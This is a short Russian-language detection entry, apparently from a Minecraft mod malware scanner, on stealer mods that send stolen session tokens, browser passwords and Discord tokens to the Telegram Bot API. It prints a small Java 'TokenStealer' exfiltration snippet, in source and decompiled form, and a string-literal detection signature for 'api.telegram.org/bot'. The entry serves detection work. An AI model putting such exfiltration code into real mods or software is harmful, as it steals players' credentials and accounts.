Telegram Bot API Exfiltration (C2)

🎮 Влияние на механику Minecraft

Вредоносное ПО (стиллеры и трояны) маскируется под моды Minecraft для хищения сессионных токенов учетных записей, сохраненных паролей браузера и токенов Discord. Для скрытой передачи украденных данных злоумышленники часто используют Telegram Bot API, отправляя HTTP POST запросы на эндпоинт api.telegram.org/bot<token>/sendMessage или sendDocument в свой приватный чат.

🔍 Анализируемые функции и API

ConstantPool CONSTANT_Utf8

Строковый литерал в пуле констант с адресом api.telegram.org/bot.

💻 Реализация в моде (Исходный код)

// Malicious payload exfiltration snippet
public class TokenStealer {
    public static void exfiltrate(String token) {
        String url = "https://api.telegram.org/bot123456:ABC-DEF/sendMessage?chat_id=98765&text=" + token;
        HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), BodyHandlers.discarding());
    }
}

⚙️ Декомпилированный вид (Vineflower)

// Decompiled with Vineflower 1.12
public class TokenStealer {
    public static void exfiltrate(String token) {
        String url = "https://api.telegram.org/bot123456:ABC-DEF/sendMessage?chat_id=98765&text=" + token;
        HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), BodyHandlers.discarding());
    }
}

🛡️ Сигнатура байткода и статический детект

Совпадение строковых литералов, содержащих адрес шлюза Telegram Bot API (api.telegram.org/bot).